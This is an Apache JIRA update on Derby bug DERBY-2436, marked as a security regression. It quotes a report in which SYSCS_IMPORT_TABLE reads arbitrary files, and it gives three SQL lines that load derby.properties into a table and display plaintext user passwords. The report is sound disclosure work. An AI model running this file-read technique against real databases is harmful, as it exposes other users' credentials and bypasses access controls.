Kathey Marsden updated DERBY-2436:
----------------------------------

    Derby Info: [Regression]

Based on Dan's comments, this is a security regression.  Marking the regression flag.

>                 Key: DERBY-2436
>                 URL: https://issues.apache.org/jira/browse/DERBY-2436
>             Project: Derby
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 10.1.2.1, 10.2.1.6, 10.3.1.0
>            Reporter: Daniel John Debrunner
>            Priority: Critical
>
> There are no controls over which files SYSCS_IMPORT_TABLE can read, thus allowing any
user that has permission to execute the procedure to try and access information that they
have no permissions to do so. E.g. even with the secure-by-default network server I can execute
three lines of SQL to view to contents of derby.properties, thus seeing passwords of other
users, or the address of the ldap server.
> create table t (c varchar(32000));
> CALL SYSCS_UTIL.SYSCS_IMPORT_TABLE(NULL, 'T', 'derby.properties', NULL, NULL, 'ISO8859_1',
0);
> ij> select * from T;
> C
> ----------------------------------------------
> derby.connection.requireAuthentication=true
> derby.authentication.provider=BUILTIN
> derby.user.SA=sapwd
> derby.user.MARY=marypwd
> Also a similar trick could be attempted against the actual data files, allowing a user
to attempt to bypass grant/revoke security, especially no that binary data can be exported/imported.
